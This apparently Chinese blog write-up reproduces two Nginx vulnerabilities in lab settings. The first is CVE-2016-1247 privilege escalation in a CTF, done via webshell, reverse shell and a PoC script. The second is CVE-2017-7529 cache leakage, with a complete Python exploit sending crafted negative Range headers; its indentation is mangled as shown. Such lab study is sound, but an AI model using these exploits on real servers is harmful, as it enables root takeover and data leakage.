前言

心血来潮看了个漏洞想复现一下

Nginx权限提升漏洞(CVE-2016-1247)

漏洞影响

Nginx服务在创建log目录时使用了不安全的权限设置,可造成本地权限提升,恶意攻击者能够借此实现从 nginx/web 的用户权限 www-data 到 root 用户权限的提升。

影响版本

下述版本之前均存在此漏洞:

Debian: Nginx1.6.2-5+deb8u3
Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1

漏洞原理

简单来说就是恶意者可通过软链接任意文件来替换日志文件,从而实现提权以获取服务器的root权限,具体的原理可以看看https://paper.seebug.org/122/
http://blog.nsfocus.net/local-vulnerability-analysis-protection/
还有个点就是当可以使用软连接来替换日志文件的时候,如果再满足nginx重启或者收到USR1信号这两个条件之一的话,那么就可以达到提权的操作。
USR1信号的作用:

即重新打开日志文件,例如,向Apache HTTP服务器发送一个USR1信号将导致以下步骤的发生:停止接受新的连接,等待当前连接停止,重新载入配置文件,重新打开日志文件,重启服务器,从而实现相对平滑的不关机的更改

当然在存在漏洞的一些系统中,当调用do_rotate()函数的logrotate脚本的时候会发送USR1信号,脚本也会定时执行

可以看到,有个任务是每分钟都会执行一次,那就满足了条件

漏洞POC

https://www.seebug.org/vuldb/ssvid-92538

漏洞复现

ctfshow上的一道题:出题人不想跟你说话.jpg

给了提示:
为了降低难度,漏洞大约每两分钟触发一次

hint1: whoami && ls -l /

hint2:如你们所说,提权,看看服务器有什么服务

明显一个cai,题目也说了除了练菜刀你还会个啥,先用蚁剑连来看看,连接成功后根目录下有个flag,打开没东西,根据提示先看看

明显要提权了,题目说了漏洞两分钟触发一次,先看看版本和定时任务

cat /etc/crontab,就是可以查看定时任务
lsb_release -a,列出所有linux系统版本信息
nginx -v,列出nginx版本信息

发现满足漏洞条件,照着网上直接打,这个利用好像必须要反弹shell,原理也不太懂。

注意:创建POC需要在linux系统中创建,否则运行时会报错“/bin/bash^M: bad interpreter: No such file or directory”,这是由于脚本文件的格式不同,linux却是只能执行格式为unix格式的脚本。如果在windows下创建则会变成dos格式。

通过cat -A filename查看格式,dos格式的文件行尾为^M$ ,unix格式的文件行尾为$。

反弹shell后执行以下命令

chmod +x nginx.sh
./nginx.sh
./nginx.sh /var/log/nginx/error.log

本来设置的是每天6.25才会触发,但是因为有一个一分钟的定时任务,运行脚本后等一会就好了

Nginx越界读取缓存漏洞【CVE-2017-7529】

漏洞描述

当使用Nginx标准模块时,攻击者可以通过发送包含恶意构造range域的header请求,来获取响应中的缓存文件头部信息。在某些配置中,缓存文件头可能包含后端服务器的IP地址或其它敏感信息,从而导致信息泄露。

影响版本

Nginx version 0.5.6 - 1.13.2
修复版本
Nginx version 1.13.3, 1.12.1

漏洞原理

Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

漏洞复现

搭建环境

cd vulhub/nginx/CVE-2017-7529

docker-compose up -d

直接用脚本打就行了

#!/usr/bin/env python
import sys
import requests
if len(sys.argv)<2:
print("%s url"%(sys.argv[0]))
print("eg: python %s http://your-ip:8080/"%(sys.argv[0]))
 sys.exit()
headers ={
'User-Agent':"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset =605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range']="bytes=-%d,-%d"%(
 n,0x8000000000000000- n)
r = requests.get(url, headers=headers)
print(r.text)